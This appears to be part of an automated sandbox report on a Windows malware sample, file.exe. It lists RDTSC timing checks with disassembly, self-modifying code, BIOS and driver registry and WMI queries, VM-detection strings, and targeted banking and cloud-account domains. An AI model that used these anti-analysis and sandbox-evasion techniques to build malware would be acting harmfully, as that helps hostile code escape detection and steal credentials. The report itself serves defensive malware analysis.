Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0E58 second address: 54E0E9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F76C52A0360h 0x00000010 xchg eax, ecx 0x00000011 pushad 0x00000012 mov eax, 7BF1A8EDh 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F76C52A0365h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0970 second address: 54F0976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0976 second address: 54F097A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F097A second address: 54F0999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [769B459Ch], 05h 0x00000012 pushad 0x00000013 mov ebx, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 mov dl, ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F09E6 second address: 54F09EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F09EA second address: 54F09F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F09F0 second address: 54F0A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C52A0364h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0A08 second address: 54F0A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 5C9552AEh 0x0000000d jmp 00007F76C4CE142Ch 0x00000012 xor dword ptr [esp], 2A0FCE86h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F76C4CE142Dh 0x00000022 xor si, 07E6h 0x00000027 jmp 00007F76C4CE1431h 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F76C4CE1430h 0x00000033 and cl, FFFFFF88h 0x00000036 jmp 00007F76C4CE142Bh 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0A71 second address: 54F0A9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 93h 0x00000005 mov eax, 47FA77F7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d call 00007F773670544Ah 0x00000012 push 76952B70h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov eax, dword ptr [esp+10h] 0x00000022 mov dword ptr [esp+10h], ebp 0x00000026 lea ebp, dword ptr [esp+10h] 0x0000002a sub esp, eax 0x0000002c push ebx 0x0000002d push esi 0x0000002e push edi 0x0000002f mov eax, dword ptr [769B4538h] 0x00000034 xor dword ptr [ebp-04h], eax 0x00000037 xor eax, ebp 0x00000039 push eax 0x0000003a mov dword ptr [ebp-18h], esp 0x0000003d push dword ptr [ebp-08h] 0x00000040 mov eax, dword ptr [ebp-04h] 0x00000043 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004a mov dword ptr [ebp-08h], eax 0x0000004d lea eax, dword ptr [ebp-10h] 0x00000050 mov dword ptr fs:[00000000h], eax 0x00000056 ret 0x00000057 jmp 00007F76C52A035Ah 0x0000005c sub esi, esi 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F76C52A035Ch 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0A9D second address: 54F0AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-1Ch], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0AB5 second address: 54F0AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0AB9 second address: 54F0ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500A0B second address: 5500A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500A11 second address: 5500A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500A15 second address: 5500A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500A19 second address: 5500A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F76C4CE142Bh 0x00000011 pop esi 0x00000012 mov ch, dl 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500A34 second address: 5500AF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F76C52A0364h 0x00000011 and cx, 1C18h 0x00000016 jmp 00007F76C52A035Bh 0x0000001b popfd 0x0000001c call 00007F76C52A0368h 0x00000021 call 00007F76C52A0362h 0x00000026 pop esi 0x00000027 pop edi 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F76C52A035Ch 0x00000032 and esi, 5EE6A0D8h 0x00000038 jmp 00007F76C52A035Bh 0x0000003d popfd 0x0000003e jmp 00007F76C52A0368h 0x00000043 popad 0x00000044 xchg eax, esi 0x00000045 jmp 00007F76C52A0360h 0x0000004a push eax 0x0000004b pushad 0x0000004c mov ebx, 6BBBED14h 0x00000051 movsx ebx, si 0x00000054 popad 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 mov dx, si 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500AF7 second address: 5500B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 284E3E29h 0x00000009 popad 0x0000000a popad 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov di, 8574h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B0D second address: 5500B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B13 second address: 5500B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B17 second address: 5500B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F76C52A0366h 0x00000012 je 00007F77366EDBCDh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B4C second address: 5500B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B50 second address: 5500B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B54 second address: 5500B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B5A second address: 5500B92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F76C52A0367h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B92 second address: 5500BBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F7736146D0Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500BBB second address: 5500BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500BBF second address: 5500BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500BC3 second address: 5500BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500BC9 second address: 5500BE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 mov ecx, 723C4A53h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov cx, dx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500BE0 second address: 5500BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500BE5 second address: 5500BEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500BEB second address: 5500C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C0C second address: 5500C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C10 second address: 5500C16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C16 second address: 5500C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C1C second address: 5500C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C20 second address: 5500C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C24 second address: 5500C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F76C52A0366h 0x00000012 add ax, 7898h 0x00000017 jmp 00007F76C52A035Bh 0x0000001c popfd 0x0000001d push eax 0x0000001e pop ebx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C9C second address: 5500CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500D73 second address: 5500D79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500D79 second address: 5500D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668DD08 second address: 668DD0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668DD0E second address: 668DD12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6814DFC second address: 6814E1C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76C52A0356h 0x00000008 jmp 00007F76C52A0362h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6814E1C second address: 6814E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6814F5E second address: 6814F63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68151F4 second address: 68151FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68151FA second address: 6815200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6815325 second address: 6815340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1432h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6815340 second address: 6815346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68180EB second address: 68180F0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68181EE second address: 68181FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68181FB second address: 6818281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F76C4CE1426h 0x0000000a popad 0x0000000b jns 00007F76C4CE142Ch 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push edx 0x00000017 push ecx 0x00000018 jne 00007F76C4CE1426h 0x0000001e pop ecx 0x0000001f pop edx 0x00000020 mov eax, dword ptr [eax] 0x00000022 jns 00007F76C4CE142Ah 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c jnc 00007F76C4CE144Ah 0x00000032 pop eax 0x00000033 mov dword ptr [ebp+122D345Fh], eax 0x00000039 lea ebx, dword ptr [ebp+1245E032h] 0x0000003f mov ecx, dword ptr [ebp+122D32D9h] 0x00000045 jl 00007F76C4CE1429h 0x0000004b movsx edi, cx 0x0000004e push eax 0x0000004f js 00007F76C4CE142Eh 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6818352 second address: 681841D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 add dword ptr [esp], 5D72179Dh 0x0000000d add ecx, dword ptr [ebp+122D3384h] 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F76C52A0358h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f adc dl, FFFFFF82h 0x00000032 jmp 00007F76C52A0365h 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122D27F9h], edx 0x0000003f push 00000003h 0x00000041 jnl 00007F76C52A035Ch 0x00000047 add dword ptr [ebp+122D3837h], ecx 0x0000004d push CA50A68Eh 0x00000052 jmp 00007F76C52A0364h 0x00000057 xor dword ptr [esp], 0A50A68Eh 0x0000005e call 00007F76C52A0364h 0x00000063 mov edi, dword ptr [ebp+122D2CB5h] 0x00000069 pop edx 0x0000006a lea ebx, dword ptr [ebp+1245E03Bh] 0x00000070 mov edi, dword ptr [ebp+122D211Bh] 0x00000076 xchg eax, ebx 0x00000077 jmp 00007F76C52A035Ch 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f jmp 00007F76C52A035Ch 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681841D second address: 6818436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C4CE1435h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6818464 second address: 68184B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007F76C52A035Eh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F76C52A0358h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D2958h], eax 0x0000002d push 00000000h 0x0000002f stc 0x00000030 push F08512F7h 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 je 00007F76C52A0356h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68184B5 second address: 68184BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68184BF second address: 6818552 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0363h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 0F7AED89h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F76C52A0358h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b push 00000003h 0x0000002d mov dword ptr [ebp+122D39D9h], ecx 0x00000033 push 00000000h 0x00000035 mov cl, dl 0x00000037 jnp 00007F76C52A0374h 0x0000003d pushad 0x0000003e or eax, 5696EDA3h 0x00000044 call 00007F76C52A0365h 0x00000049 pop ecx 0x0000004a popad 0x0000004b push 00000003h 0x0000004d jp 00007F76C52A035Ch 0x00000053 mov esi, dword ptr [ebp+122D2EF9h] 0x00000059 jns 00007F76C52A035Bh 0x0000005f push AA2649D6h 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 je 00007F76C52A0356h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6818552 second address: 6818558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6836FE4 second address: 6836FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F76C52A0356h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68372C6 second address: 68372CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6837836 second address: 683783F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F27A61 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D761A2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F4B914 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D78ABB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 668DC86 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 668DD45 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6853892 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6440

Thread sleep time: -240000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.2590264417.000000000681E000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2583259448.0000000000F05000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2569726641.00000000017AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}h
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2585104415.00000000016CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2569726641.00000000017AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2305574688.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2305574688.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
